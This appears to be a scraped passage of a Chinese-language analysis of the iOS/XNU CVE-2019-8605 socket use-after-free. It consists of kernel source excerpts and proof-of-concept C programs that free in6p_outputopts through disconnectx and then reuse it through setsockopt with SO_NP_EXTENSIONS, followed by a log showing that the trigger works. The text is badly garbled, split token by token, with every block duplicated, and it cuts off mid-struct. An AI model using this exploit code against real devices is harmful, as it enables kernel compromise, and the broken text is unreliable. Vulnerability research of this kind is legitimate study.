if
(SOCK_CHECK_DOM(so, PF_INET6))
in6_pcbdetach(inp);
/
/
10
else
#endif /* INET6 */
in_pcbdetach(inp);
/
*
*
Call soisdisconnected after detach because it might unlock the socket
*
/
soisdisconnected(so);
tcpstat.tcps_closed
+
+
;
KERNEL_DEBUG(DBG_FNC_TCP_CLOSE | DBG_FUNC_END,
tcpstat.tcps_closed,
0
,
0
,
0
,
0
);
return
(NULL);
}
void
in6_pcbdetach(struct inpcb
*
inp)
{
struct socket
*
so
=
inp
-
>inp_socket;
if
(so
-
>so_pcb
=
=
NULL) {
/
*
PCB has been disposed
*
/
panic(
"%s: inp=%p so=%p proto=%d so_pcb is null!\n"
, __func__,
inp, so, SOCK_PROTO(so));
/
*
NOTREACHED
*
/
}
#if IPSEC
if
(inp
-
>in6p_sp !
=
NULL) {
(void) ipsec6_delete_pcbpolicy(inp);
}
#endif /* IPSEC */
if
(inp
-
>inp_stat !
=
NULL && SOCK_PROTO(so)
=
=
IPPROTO_UDP) {
if
(inp
-
>inp_stat
-
>rxpackets
=
=
0
&& inp
-
>inp_stat
-
>txpackets
=
=
0
) {
INC_ATOMIC_INT64_LIM(net_api_stats.nas_socket_inet6_dgram_no_data);
}
}
/
*
*
Let NetworkStatistics know this PCB
is
going away
*
before we detach it.
*
/
if
(nstat_collect &&
(SOCK_PROTO(so)
=
=
IPPROTO_TCP || SOCK_PROTO(so)
=
=
IPPROTO_UDP))
nstat_pcb_detach(inp);
/
*
mark socket state as dead
*
/
if
(in_pcb_checkstate(inp, WNT_STOPUSING,
1
) !
=
WNT_STOPUSING) {
panic(
"%s: so=%p proto=%d couldn't set to STOPUSING\n"
,
__func__, so, SOCK_PROTO(so));
/
*
NOTREACHED
*
/
}
if
(!(so
-
>so_flags & SOF_PCBCLEARING)) {
struct ip_moptions
*
imo;
struct ip6_moptions
*
im6o;
inp
-
>inp_vflag
=
0
;
if
(inp
-
>in6p_options !
=
NULL) {
m_freem(inp
-
>in6p_options);
inp
-
>in6p_options
=
NULL;
}
ip6_freepcbopts(inp
-
>in6p_outputopts);
/
/
11
ROUTE_RELEASE(&inp
-
>in6p_route);
/
*
free IPv4 related resources
in
case of mapped addr
*
/
if
(inp
-
>inp_options !
=
NULL) {
(void) m_free(inp
-
>inp_options);
inp
-
>inp_options
=
NULL;
}
im6o
=
inp
-
>in6p_moptions;
inp
-
>in6p_moptions
=
NULL;
imo
=
inp
-
>inp_moptions;
inp
-
>inp_moptions
=
NULL;
sofreelastref(so,
0
);
inp
-
>inp_state
=
INPCB_STATE_DEAD;
/
*
makes sure we're
not
called twice
from
so_close
*
/
so
-
>so_flags |
=
SOF_PCBCLEARING;
inpcb_gc_sched(inp
-
>inp_pcbinfo, INPCB_TIMER_FAST);
/
*
*
See inp_join_group()
for
why we need to unlock
*
/
if
(im6o !
=
NULL || imo !
=
NULL) {
socket_unlock(so,
0
);
if
(im6o !
=
NULL)
IM6O_REMREF(im6o);
if
(imo !
=
NULL)
IMO_REMREF(imo);
socket_lock(so,
0
);
}
}
}
void
in6_pcbdetach(struct inpcb
*
inp)
{
struct socket
*
so
=
inp
-
>inp_socket;
if
(so
-
>so_pcb
=
=
NULL) {
/
*
PCB has been disposed
*
/
panic(
"%s: inp=%p so=%p proto=%d so_pcb is null!\n"
, __func__,
inp, so, SOCK_PROTO(so));
/
*
NOTREACHED
*
/
}
#if IPSEC
if
(inp
-
>in6p_sp !
=
NULL) {
(void) ipsec6_delete_pcbpolicy(inp);
}
#endif /* IPSEC */
if
(inp
-
>inp_stat !
=
NULL && SOCK_PROTO(so)
=
=
IPPROTO_UDP) {
if
(inp
-
>inp_stat
-
>rxpackets
=
=
0
&& inp
-
>inp_stat
-
>txpackets
=
=
0
) {
INC_ATOMIC_INT64_LIM(net_api_stats.nas_socket_inet6_dgram_no_data);
}
}
/
*
*
Let NetworkStatistics know this PCB
is
going away
*
before we detach it.
*
/
if
(nstat_collect &&
(SOCK_PROTO(so)
=
=
IPPROTO_TCP || SOCK_PROTO(so)
=
=
IPPROTO_UDP))
nstat_pcb_detach(inp);
/
*
mark socket state as dead
*
/
if
(in_pcb_checkstate(inp, WNT_STOPUSING,
1
) !
=
WNT_STOPUSING) {
panic(
"%s: so=%p proto=%d couldn't set to STOPUSING\n"
,
__func__, so, SOCK_PROTO(so));
/
*
NOTREACHED
*
/
}
if
(!(so
-
>so_flags & SOF_PCBCLEARING)) {
struct ip_moptions
*
imo;
struct ip6_moptions
*
im6o;
inp
-
>inp_vflag
=
0
;
if
(inp
-
>in6p_options !
=
NULL) {
m_freem(inp
-
>in6p_options);
inp
-
>in6p_options
=
NULL;
}
ip6_freepcbopts(inp
-
>in6p_outputopts);
/
/
11
ROUTE_RELEASE(&inp
-
>in6p_route);
/
*
free IPv4 related resources
in
case of mapped addr
*
/
if
(inp
-
>inp_options !
=
NULL) {
(void) m_free(inp
-
>inp_options);
inp
-
>inp_options
=
NULL;
}
im6o
=
inp
-
>in6p_moptions;
inp
-
>in6p_moptions
=
NULL;
imo
=
inp
-
>inp_moptions;
inp
-
>inp_moptions
=
NULL;
sofreelastref(so,
0
);
inp
-
>inp_state
=
INPCB_STATE_DEAD;
/
*
makes sure we're
not
called twice
from
so_close
*
/
so
-
>so_flags |
=
SOF_PCBCLEARING;
inpcb_gc_sched(inp
-
>inp_pcbinfo, INPCB_TIMER_FAST);
/
*
*
See inp_join_group()
for
why we need to unlock
*
/
if
(im6o !
=
NULL || imo !
=
NULL) {
socket_unlock(so,
0
);
if
(im6o !
=
NULL)
IM6O_REMREF(im6o);
if
(imo !
=
NULL)
IMO_REMREF(imo);
socket_lock(so,
0
);
}
}
}
448
AUE_NULL
ALL
{
int
disconnectx(
int
s, sae_associd_t aid, sae_connid_t cid); }
448
AUE_NULL
ALL
{
int
disconnectx(
int
s, sae_associd_t aid, sae_connid_t cid); }
int
main(
int
argc, char
*
argv[]) {
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
disconnectx(tcp_sock,
0
,
0
);
}
int
main(
int
argc, char
*
argv[]) {
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
disconnectx(tcp_sock,
0
,
0
);
}
105
AUE_SETSOCKOPT
ALL
{
int
setsockopt(
int
s,
int
level,
int
name, caddr_t val, socklen_t valsize); }
118
AUE_GETSOCKOPT
ALL
{
int
getsockopt(
int
s,
int
level,
int
name, caddr_t val, socklen_t
*
avalsize); }
105
AUE_SETSOCKOPT
ALL
{
int
setsockopt(
int
s,
int
level,
int
name, caddr_t val, socklen_t valsize); }
118
AUE_GETSOCKOPT
ALL
{
int
getsockopt(
int
s,
int
level,
int
name, caddr_t val, socklen_t
*
avalsize); }
#define IPV6_USE_MIN_MTU 42
int
get_minmtu(
int
sock,
int
*
minmtu) {
socklen_t size
=
sizeof(
*
minmtu);
return
getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}
int
main(
int
argc, char
*
argv[]) {
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
/
/
SOPT_SET
int
minmtu
=
-
1
;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
/
/
SOPT_GET
int
mtu;
get_minmtu(tcp_sock, &mtu);
NSLog(@
"%d\n"
, mtu);
}
#define IPV6_USE_MIN_MTU 42
int
get_minmtu(
int
sock,
int
*
minmtu) {
socklen_t size
=
sizeof(
*
minmtu);
return
getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}
int
main(
int
argc, char
*
argv[]) {
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
/
/
SOPT_SET
int
minmtu
=
-
1
;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
/
/
SOPT_GET
int
mtu;
get_minmtu(tcp_sock, &mtu);
NSLog(@
"%d\n"
, mtu);
}
struct ip6_pktopts {
struct mbuf
*
ip6po_m;
/
*
Pointer to mbuf storing the data
*
/
int
ip6po_hlim;
/
*
Hoplimit
for
outgoing packets
*
/
/
*
Outgoing IF
/
address information
*
/
struct in6_pktinfo
*
ip6po_pktinfo;
/
*
Next
-
hop address information
*
/
struct ip6po_nhinfo ip6po_nhinfo;
struct ip6_hbh
*
ip6po_hbh;
/
*
Hop
-
by
-
Hop options header
*
/
/
*
Destination options header (before a routing header)
*
/
struct ip6_dest
*
ip6po_dest1;
/
*
Routing header related info.
*
/
struct ip6po_rhinfo ip6po_rhinfo;
/
*
Destination options header (after a routing header)
*
/
struct ip6_dest
*
ip6po_dest2;
int
ip6po_tclass;
/
*
traffic
class
*
/
int
ip6po_minmtu;
/
*
fragment vs PMTU discovery policy
*
/
#define IP6PO_MINMTU_MCASTONLY -1 /* default; send at min MTU for multicast */
#define IP6PO_MINMTU_DISABLE 0 /* always perform pmtu disc */
#define IP6PO_MINMTU_ALL 1 /* always send at min MTU */
/
*
whether temporary addresses are preferred as source address
*
/
int
ip6po_prefer_tempaddr;
#define IP6PO_TEMPADDR_SYSTEM -1 /* follow the system default */
#define IP6PO_TEMPADDR_NOTPREFER 0 /* not prefer temporary address */
#define IP6PO_TEMPADDR_PREFER 1 /* prefer temporary address */
int
ip6po_flags;
#if 0 /* parameters in this block is obsolete. do not reuse the values. */
#define IP6PO_REACHCONF 0x01 /* upper-layer reachability confirmation. */
#define IP6PO_MINMTU 0x02 /* use minimum MTU (IPV6_USE_MIN_MTU) */
#endif
#define IP6PO_DONTFRAG 0x04 /* no fragmentation (IPV6_DONTFRAG) */
#define IP6PO_USECOA 0x08 /* use care of address */
};
struct ip6_pktopts {
struct mbuf
*
ip6po_m;
/
*
Pointer to mbuf storing the data
*
/
int
ip6po_hlim;
/
*
Hoplimit
for
outgoing packets
*
/
/
*
Outgoing IF
/
address information
*
/
struct in6_pktinfo
*
ip6po_pktinfo;
/
*
Next
-
hop address information
*
/
struct ip6po_nhinfo ip6po_nhinfo;
struct ip6_hbh
*
ip6po_hbh;
/
*
Hop
-
by
-
Hop options header
*
/
/
*
Destination options header (before a routing header)
*
/
struct ip6_dest
*
ip6po_dest1;
/
*
Routing header related info.
*
/
struct ip6po_rhinfo ip6po_rhinfo;
/
*
Destination options header (after a routing header)
*
/
struct ip6_dest
*
ip6po_dest2;
int
ip6po_tclass;
/
*
traffic
class
*
/
int
ip6po_minmtu;
/
*
fragment vs PMTU discovery policy
*
/
#define IP6PO_MINMTU_MCASTONLY -1 /* default; send at min MTU for multicast */
#define IP6PO_MINMTU_DISABLE 0 /* always perform pmtu disc */
#define IP6PO_MINMTU_ALL 1 /* always send at min MTU */
/
*
whether temporary addresses are preferred as source address
*
/
int
ip6po_prefer_tempaddr;
#define IP6PO_TEMPADDR_SYSTEM -1 /* follow the system default */
#define IP6PO_TEMPADDR_NOTPREFER 0 /* not prefer temporary address */
#define IP6PO_TEMPADDR_PREFER 1 /* prefer temporary address */
int
ip6po_flags;
#if 0 /* parameters in this block is obsolete. do not reuse the values. */
#define IP6PO_REACHCONF 0x01 /* upper-layer reachability confirmation. */
#define IP6PO_MINMTU 0x02 /* use minimum MTU (IPV6_USE_MIN_MTU) */
#endif
#define IP6PO_DONTFRAG 0x04 /* no fragmentation (IPV6_DONTFRAG) */
#define IP6PO_USECOA 0x08 /* use care of address */
};
static
int
ip6_setpktopt(
int
optname, u_char
*
buf,
int
len
, struct ip6_pktopts
*
opt,
int
sticky,
int
cmsg,
int
uproto)
{
...
switch (optname) {
...
case IPV6_USE_MIN_MTU:
if
(
len
!
=
sizeof (
int
))
return
(EINVAL);
minmtupolicy
=
*
(
int
*
)(void
*
)buf;
if
(minmtupolicy !
=
IP6PO_MINMTU_MCASTONLY &&
minmtupolicy !
=
IP6PO_MINMTU_DISABLE &&
minmtupolicy !
=
IP6PO_MINMTU_ALL) {
return
(EINVAL);
}
opt
-
>ip6po_minmtu
=
minmtupolicy;
/
/
赋值操作
break
;
static
int
ip6_setpktopt(
int
optname, u_char
*
buf,
int
len
, struct ip6_pktopts
*
opt,
int
sticky,
int
cmsg,
int
uproto)
{
...
switch (optname) {
...
case IPV6_USE_MIN_MTU:
if
(
len
!
=
sizeof (
int
))
return
(EINVAL);
minmtupolicy
=
*
(
int
*
)(void
*
)buf;
if
(minmtupolicy !
=
IP6PO_MINMTU_MCASTONLY &&
minmtupolicy !
=
IP6PO_MINMTU_DISABLE &&
minmtupolicy !
=
IP6PO_MINMTU_ALL) {
return
(EINVAL);
}
opt
-
>ip6po_minmtu
=
minmtupolicy;
/
/
赋值操作
break
;
static
int
ip6_pcbopt(
int
optname, u_char
*
buf,
int
len
, struct ip6_pktopts
*
*
pktopt,
int
uproto)
{
struct ip6_pktopts
*
opt;
opt
=
*
pktopt;
if
(opt
=
=
NULL) {
opt
=
_MALLOC(sizeof (
*
opt), M_IP6OPT, M_WAITOK);
if
(opt
=
=
NULL)
return
(ENOBUFS);
ip6_initpktopts(opt);
*
pktopt
=
opt;
}
return
(ip6_setpktopt(optname, buf,
len
, opt,
1
,
0
, uproto));
}
static
int
ip6_pcbopt(
int
optname, u_char
*
buf,
int
len
, struct ip6_pktopts
*
*
pktopt,
int
uproto)
{
struct ip6_pktopts
*
opt;
opt
=
*
pktopt;
if
(opt
=
=
NULL) {
opt
=
_MALLOC(sizeof (
*
opt), M_IP6OPT, M_WAITOK);
if
(opt
=
=
NULL)
return
(ENOBUFS);
ip6_initpktopts(opt);
*
pktopt
=
opt;
}
return
(ip6_setpktopt(optname, buf,
len
, opt,
1
,
0
, uproto));
}
int
ip6_ctloutput(struct socket
*
so, struct sockopt
*
sopt)
{
...
if
(level
=
=
IPPROTO_IPV6) {
boolean_t capture_exthdrstat_in
=
FALSE;
switch (op) {
case SOPT_SET:
switch (optname) {
...
case IPV6_TCLASS:
case IPV6_DONTFRAG:
case IPV6_USE_MIN_MTU:
case IPV6_PREFER_TEMPADDR: {
...
optp
=
&in6p
-
>in6p_outputopts;
error
=
ip6_pcbopt(optname, (u_char
*
)&optval,
sizeof (optval), optp, uproto);
...
break
;
}
int
ip6_ctloutput(struct socket
*
so, struct sockopt
*
sopt)
{
...
if
(level
=
=
IPPROTO_IPV6) {
boolean_t capture_exthdrstat_in
=
FALSE;
switch (op) {
case SOPT_SET:
switch (optname) {
...
case IPV6_TCLASS:
case IPV6_DONTFRAG:
case IPV6_USE_MIN_MTU:
case IPV6_PREFER_TEMPADDR: {
...
optp
=
&in6p
-
>in6p_outputopts;
error
=
ip6_pcbopt(optname, (u_char
*
)&optval,
sizeof (optval), optp, uproto);
...
break
;
}
int
rip6_ctloutput(
struct socket
*
so,
struct sockopt
*
sopt)
{
...
switch (sopt
-
>sopt_dir) {
case SOPT_GET:
...
case SOPT_SET:
switch (sopt
-
>sopt_name) {
case IPV6_CHECKSUM:
error
=
ip6_raw_ctloutput(so, sopt);
break
;
case SO_FLUSH:
if
((error
=
sooptcopyin(sopt, &optval, sizeof (optval),
sizeof (optval))) !
=
0
)
break
;
error
=
inp_flush(sotoinpcb(so), optval);
break
;
default:
error
=
ip6_ctloutput(so, sopt);
/
/
选项名为IPV6_USE_MIN_MTU
break
;
}
break
;
}
return
(error);
}
int
rip6_ctloutput(
struct socket
*
so,
struct sockopt
*
sopt)
{
...
switch (sopt
-
>sopt_dir) {
case SOPT_GET:
...
case SOPT_SET:
switch (sopt
-
>sopt_name) {
case IPV6_CHECKSUM:
error
=
ip6_raw_ctloutput(so, sopt);
break
;
case SO_FLUSH:
if
((error
=
sooptcopyin(sopt, &optval, sizeof (optval),
sizeof (optval))) !
=
0
)
break
;
error
=
inp_flush(sotoinpcb(so), optval);
break
;
default:
error
=
ip6_ctloutput(so, sopt);
/
/
选项名为IPV6_USE_MIN_MTU
break
;
}
break
;
}
return
(error);
}
{
...
.pr_ctloutput
=
rip6_ctloutput,
}
{
...
.pr_ctloutput
=
rip6_ctloutput,
}
int
sosetoptlock(struct socket
*
so, struct sockopt
*
sopt,
int
dolock)
{
...
if
((so
-
>so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE))
=
=
(SS_CANTRCVMORE | SS_CANTSENDMORE) &&
(so
-
>so_flags & SOF_NPX_SETOPTSHUT)
=
=
0
) {
/
*
the socket has been shutdown, no more sockopt's
*
/
error
=
EINVAL;
goto out;
}
...
if
(sopt
-
>sopt_level !
=
SOL_SOCKET) {
if
(so
-
>so_proto !
=
NULL &&
so
-
>so_proto
-
>pr_ctloutput !
=
NULL) {
error
=
(
*
so
-
>so_proto
-
>pr_ctloutput)(so, sopt);
goto out;
}
error
=
ENOPROTOOPT;
}
else
{
int
sosetoptlock(struct socket
*
so, struct sockopt
*
sopt,
int
dolock)
{
...
if
((so
-
>so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE))
=
=
(SS_CANTRCVMORE | SS_CANTSENDMORE) &&
(so
-
>so_flags & SOF_NPX_SETOPTSHUT)
=
=
0
) {
/
*
the socket has been shutdown, no more sockopt's
*
/
error
=
EINVAL;
goto out;
}
...
if
(sopt
-
>sopt_level !
=
SOL_SOCKET) {
if
(so
-
>so_proto !
=
NULL &&
so
-
>so_proto
-
>pr_ctloutput !
=
NULL) {
error
=
(
*
so
-
>so_proto
-
>pr_ctloutput)(so, sopt);
goto out;
}
error
=
ENOPROTOOPT;
}
else
{
int
setsockopt(struct proc
*
p, struct setsockopt_args
*
uap,
__unused int32_t
*
retval)
{
struct socket
*
so;
struct sockopt sopt;
int
error;
AUDIT_ARG(fd, uap
-
>s);
if
(uap
-
>val
=
=
0
&& uap
-
>valsize !
=
0
)
return
(EFAULT);
/
*
No bounds checking on size (it's unsigned)
*
/
error
=
file_socket(uap
-
>s, &so);
if
(error)
return
(error);
sopt.sopt_dir
=
SOPT_SET;
sopt.sopt_level
=
uap
-
>level;
sopt.sopt_name
=
uap
-
>name;
sopt.sopt_val
=
uap
-
>val;
sopt.sopt_valsize
=
uap
-
>valsize;
sopt.sopt_p
=
p;
if
(so
=
=
NULL) {
error
=
EINVAL;
goto out;
}
#if CONFIG_MACF_SOCKET_SUBSET
if
((error
=
mac_socket_check_setsockopt(kauth_cred_get(), so,
&sopt)) !
=
0
)
goto out;
#endif /* MAC_SOCKET_SUBSET */
error
=
sosetoptlock(so, &sopt,
1
);
/
*
will lock socket
*
/
out:
file_drop(uap
-
>s);
return
(error);
}
int
setsockopt(struct proc
*
p, struct setsockopt_args
*
uap,
__unused int32_t
*
retval)
{
struct socket
*
so;
struct sockopt sopt;
int
error;
AUDIT_ARG(fd, uap
-
>s);
if
(uap
-
>val
=
=
0
&& uap
-
>valsize !
=
0
)
return
(EFAULT);
/
*
No bounds checking on size (it's unsigned)
*
/
error
=
file_socket(uap
-
>s, &so);
if
(error)
return
(error);
sopt.sopt_dir
=
SOPT_SET;
sopt.sopt_level
=
uap
-
>level;
sopt.sopt_name
=
uap
-
>name;
sopt.sopt_val
=
uap
-
>val;
sopt.sopt_valsize
=
uap
-
>valsize;
sopt.sopt_p
=
p;
if
(so
=
=
NULL) {
error
=
EINVAL;
goto out;
}
#if CONFIG_MACF_SOCKET_SUBSET
if
((error
=
mac_socket_check_setsockopt(kauth_cred_get(), so,
&sopt)) !
=
0
)
goto out;
#endif /* MAC_SOCKET_SUBSET */
error
=
sosetoptlock(so, &sopt,
1
);
/
*
will lock socket
*
/
out:
file_drop(uap
-
>s);
return
(error);
}
#define IPV6_USE_MIN_MTU 42
int
get_minmtu(
int
sock,
int
*
minmtu) {
socklen_t size
=
sizeof(
*
minmtu);
return
getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}
int
main(
int
argc, char
*
argv[]) {
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
/
/
SOPT_SET
int
minmtu
=
-
1
;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
/
/
释放in6p_outputopts
disconnectx(tcp_sock,
0
,
0
);
int
ret
=
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
if
(ret) {
printf(
"[-] setsockopt() failed, error %d (%s)\n"
, errno, strerror(errno));
return
-
1
;
}
}
#define IPV6_USE_MIN_MTU 42
int
get_minmtu(
int
sock,
int
*
minmtu) {
socklen_t size
=
sizeof(
*
minmtu);
return
getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}
int
main(
int
argc, char
*
argv[]) {
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
/
/
SOPT_SET
int
minmtu
=
-
1
;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
/
/
释放in6p_outputopts
disconnectx(tcp_sock,
0
,
0
);
int
ret
=
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
if
(ret) {
printf(
"[-] setsockopt() failed, error %d (%s)\n"
, errno, strerror(errno));
return
-
1
;
}
}
[
-
] setsockopt() failed, error
22
(Invalid argument)
[
-
] setsockopt() failed, error
22
(Invalid argument)
#define SS_CANTRCVMORE 0x0020 /* can't receive more data from peer */
#define SS_CANTSENDMORE 0x0010 /* can't send more data to peer */
#define SOF_NPX_SETOPTSHUT 0x00002000 /* Non POSIX extension to allow
int
sosetoptlock(struct socket
*
so, struct sockopt
*
sopt,
int
dolock)
{
...
if
((so
-
>so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE))
=
=
(SS_CANTRCVMORE | SS_CANTSENDMORE) &&
(so
-
>so_flags & SOF_NPX_SETOPTSHUT)
=
=
0
) {
/
*
the socket has been shutdown, no more sockopt's
*
/
error
=
EINVAL;
goto out;
}
...
#define SS_CANTRCVMORE 0x0020 /* can't receive more data from peer */
#define SS_CANTSENDMORE 0x0010 /* can't send more data to peer */
#define SOF_NPX_SETOPTSHUT 0x00002000 /* Non POSIX extension to allow
int
sosetoptlock(struct socket
*
so, struct sockopt
*
sopt,
int
dolock)
{
...
if
((so
-
>so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE))
=
=
(SS_CANTRCVMORE | SS_CANTSENDMORE) &&
(so
-
>so_flags & SOF_NPX_SETOPTSHUT)
=
=
0
) {
/
*
the socket has been shutdown, no more sockopt's
*
/
error
=
EINVAL;
goto out;
}
...
(so
-
>so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE))
=
=
(SS_CANTRCVMORE | SS_CANTSENDMORE)
&& (so
-
>so_flags & SOF_NPX_SETOPTSHUT)
=
=
0
(so
-
>so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE))
=
=
(SS_CANTRCVMORE | SS_CANTSENDMORE)
&& (so
-
>so_flags & SOF_NPX_SETOPTSHUT)
=
=
0
#define SONPX_SETOPTSHUT 0x000000001 /* flag for allowing setsockopt after shutdown */
#define SONPX_SETOPTSHUT 0x000000001 /* flag for allowing setsockopt after shutdown */
int
sosetoptlock(struct socket
*
so, struct sockopt
*
sopt,
int
dolock)
{
...
if
(sopt
-
>sopt_level !
=
SOL_SOCKET) {
...
}
else
{
...
switch (sopt
-
>sopt_name) {
...
case SO_NP_EXTENSIONS: {
struct so_np_extensions sonpx;
error
=
sooptcopyin(sopt, &sonpx, sizeof (sonpx),
sizeof (sonpx));
if
(error !
=
0
)
goto out;
if
(sonpx.npx_mask & ~SONPX_MASK_VALID) {
error
=
EINVAL;
goto out;
}
/
*
*
Only one bit defined
for
now
*
/
if
((sonpx.npx_mask & SONPX_SETOPTSHUT)) {
if
((sonpx.npx_flags & SONPX_SETOPTSHUT))
so
-
>so_flags |
=
SOF_NPX_SETOPTSHUT;
/
/
添加标志位
else
so
-
>so_flags &
=
~SOF_NPX_SETOPTSHUT;
}
break
;
}
int
sosetoptlock(struct socket
*
so, struct sockopt
*
sopt,
int
dolock)
{
...
if
(sopt
-
>sopt_level !
=
SOL_SOCKET) {
...
}
else
{
...
switch (sopt
-
>sopt_name) {
...
case SO_NP_EXTENSIONS: {
struct so_np_extensions sonpx;
error
=
sooptcopyin(sopt, &sonpx, sizeof (sonpx),
sizeof (sonpx));
if
(error !
=
0
)
goto out;
if
(sonpx.npx_mask & ~SONPX_MASK_VALID) {
error
=
EINVAL;
goto out;
}
/
*
*
Only one bit defined
for
now
*
/
if
((sonpx.npx_mask & SONPX_SETOPTSHUT)) {
if
((sonpx.npx_flags & SONPX_SETOPTSHUT))
so
-
>so_flags |
=
SOF_NPX_SETOPTSHUT;
/
/
添加标志位
else
so
-
>so_flags &
=
~SOF_NPX_SETOPTSHUT;
}
break
;
}
(so
-
>so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE))
=
=
(SS_CANTRCVMORE | SS_CANTSENDMORE)
&& (so
-
>so_flags & SOF_NPX_SETOPTSHUT)
=
=
0
(so
-
>so_state & (SS_CANTRCVMORE | SS_CANTSENDMORE))
=
=
(SS_CANTRCVMORE | SS_CANTSENDMORE)
&& (so
-
>so_flags & SOF_NPX_SETOPTSHUT)
=
=
0
int
main(
int
argc, char
*
argv[]) {
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
int
minmtu
=
-
1
;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
struct so_np_extensions sonpx
=
{.npx_flags
=
SONPX_SETOPTSHUT, .npx_mask
=
SONPX_SETOPTSHUT};
setsockopt(tcp_sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
disconnectx(tcp_sock,
0
,
0
);
minmtu
=
1
;
ret
=
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
if
(ret) {
printf(
"[-] setsockopt() failed, error %d (%s)\n"
, errno, strerror(errno));
return
-
1
;
}
int
mtu;
get_minmtu(tcp_sock, &mtu);
NSLog(@
"%d\n"
, mtu);
return
UIApplicationMain(argc, argv, nil, appDelegateClassName);
}
int
main(
int
argc, char
*
argv[]) {
int
tcp_sock
=
socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
int
minmtu
=
-
1
;
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
struct so_np_extensions sonpx
=
{.npx_flags
=
SONPX_SETOPTSHUT, .npx_mask
=
SONPX_SETOPTSHUT};
setsockopt(tcp_sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
disconnectx(tcp_sock,
0
,
0
);
minmtu
=
1
;
ret
=
setsockopt(tcp_sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
if
(ret) {
printf(
"[-] setsockopt() failed, error %d (%s)\n"
, errno, strerror(errno));
return
-
1
;
}
int
mtu;
get_minmtu(tcp_sock, &mtu);
NSLog(@
"%d\n"
, mtu);
return
UIApplicationMain(argc, argv, nil, appDelegateClassName);
}
2021
-
01
-
20
00
:
26
:
04.136672
+
0800
CVE
-
2019
-
8605
-
iOS[
650
:
238743
]
1
2021
-
01
-
20
00
:
26
:
04.136672
+
0800
CVE
-
2019
-
8605
-
iOS[
650
:
238743
]
1
struct task {
/
*
Synchronization
/
destruction information
*
/
decl_lck_mtx_data(,lock)
/
*
Task's lock
*
/
_Atomic uint32_t ref_count;
/
*
Number of references to me
*
/
boolean_t active;
/
*
Task has
not
been terminated
*
/
boolean_t halting;
/
*
Task
is
being halted
*
/
/
*
Virtual timers
*
/
uint32_t vtimers;
/
*
Miscellaneous
*
/
vm_map_t
map
;
/
*
Address space description
*
/
queue_chain_t tasks;
/
*
global
list
of tasks
*
/
/
*
Threads
in
this task
*
/
queue_head_t threads;
...
/
*
IPC structures
*
/
decl_lck_mtx_data(,itk_lock_data)
struct ipc_port
*
itk_self;
/
*
not
a right, doesn't hold ref
*
/
struct ipc_port
*
itk_nself;
/
*
not
a right, doesn't hold ref
*
/
struct ipc_port
*
itk_sself;
/
*
a send right
*
/
struct exception_action exc_actions[EXC_TYPES_COUNT];
/
*
a send right each valid element
*
/
struct ipc_port
*
itk_host;
/
*
a send right
*
/
struct ipc_port
*
itk_bootstrap;
/
*
a send right
*
/
struct ipc_port
*
itk_seatbelt;
/
*
a send right
*
/
struct ipc_port
*
itk_gssd;
/
*
yet another send right
*
/
struct ipc_port
*
itk_debug_control;
/
*
send right
for
debugmode communications
*
/
struct ipc_port
*
itk_task_access;
/
*
and
another send right
*
/
struct ipc_port
*
itk_resume;
/
*
a receive right to resume this task
*
/
struct ipc_port
*
itk_registered[TASK_PORT_REGISTER_MAX];
/
*
all
send rights
*
/
struct ipc_space
*
itk_space;
...
};
struct task {
/
*
Synchronization
/
destruction information
*
/
decl_lck_mtx_data(,lock)
/
*
Task's lock
*
/
_Atomic uint32_t ref_count;
/
*
Number of references to me
*
/
boolean_t active;
/
*
Task has
not
been terminated
*
/
boolean_t halting;
/
*
Task
is
being halted
*
/
/
*
Virtual timers
*
/
uint32_t vtimers;
/
*
Miscellaneous
*
/
vm_map_t
map
;
/
*
Address space description
*
/
queue_chain_t tasks;
/
*
global
list
of tasks
*
/
/
*
Threads
in
this task
*
/
queue_head_t threads;
...
/
*
IPC structures
*
/
decl_lck_mtx_data(,itk_lock_data)
struct ipc_port
*
itk_self;
/
*
not
a right, doesn't hold ref
*
/
struct ipc_port
*
itk_nself;
/
*
not
a right, doesn't hold ref
*
/
struct ipc_port
*
itk_sself;
/
*
a send right
*
/
